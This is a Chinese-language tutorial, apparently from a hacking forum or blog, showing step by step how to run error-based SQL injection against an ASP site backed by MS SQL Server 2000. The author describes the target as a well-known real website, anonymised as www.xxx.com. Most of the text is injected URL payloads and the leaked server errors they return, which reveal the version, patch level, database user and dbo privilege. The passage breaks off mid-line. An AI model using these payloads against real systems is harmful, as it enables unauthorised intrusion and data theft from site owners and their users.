風雲變換的網絡,網絡安全讓人們不能不關注它。數據庫,讓我們不得不想起強大的Oracle,MS SQL。微軟的漏洞最多,今天就用SQL INJECTION來讓MS SQL為我們好好的工作。
以下(使用一知名網站作為測試點),相信大家對SQL爆庫,爆表,爆字段都已掌握,在這裡就不多說這方面了。
MS SQL內置函數介紹:
@@VERSION 獲得Windows的版本號,MS SQL的版本號,補丁。 User_name() 得到當前系統的連接用戶 Db_name() 得到當前連接的數據庫 HOST_NAME() 得到當前主機的名稱
這些信息有助我們對系統進行簡單的了解
好,下面我們就開始吧!
語句:
http://www.xxx.com/list.ASP?classid=1'
返回信息:
Microsoft OLE DB Provider for SQL Server 錯誤 '80040e14' 字符串 ' Order By Id DESC' 之前有未閉合的引號。 /list.ASP,行290
從這裡未閉合的引號(“’”),我們可以確定存在SQL INJECTION。發現在漏洞當然接著走了,利用以上介紹的函數為我們工作了:
語句:
http://www.xxx.com/list.ASP?classid=1 and 0<>(select @@version)
返回:
Microsoft OLE DB Provider for SQL Server 錯誤 '80040e07' 將 nvarchar 值 'Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4) ' 轉換為數據類型為 int 的列時發生語法錯誤。 /list.ASP,行290
相關的信息出來了,MS SERVER ADVANCED SERVER 2000+SP4, SQL 2000+SP3,從MS SQL Server 後面的8.00.760可看出是SP3補丁。看了服務器的信息,接下應該了解數據庫的權限了:
語句:
http://www.xxx.com/list.ASP?classid=1 and user_name()=’dbo’
返回: 正常返回的信息
確定是權限是DBO,從表面DBO權限的連接用戶經常是涉及SYSADMIN服務器角色成員。說明數據庫服務器角色成員組默認是在每個數據庫增加一個DBO用戶。
返回原理根1=1,1=2相似..這裡只是權限測試,我們也把它爆出來看看:
語句:
http://www.xxx.com/list.ASP?classid=1 and 0<>(select user_name())
返回:
Microsoft OLE DB Provider for SQL Server 錯誤 '80040e07' 將 nvarchar 值 'dbo' 轉換為數據類型為 int 的列時發生語法錯誤。 /list.ASP,行290
說明連接數據庫的用戶權限很高,可以確定是服務器角色組中的成員。
語句:http://www.xxx.com/list.ASP?classid=1 and 0<>(select db_name())—返回:Microsoft OLE DB Provider for SQL S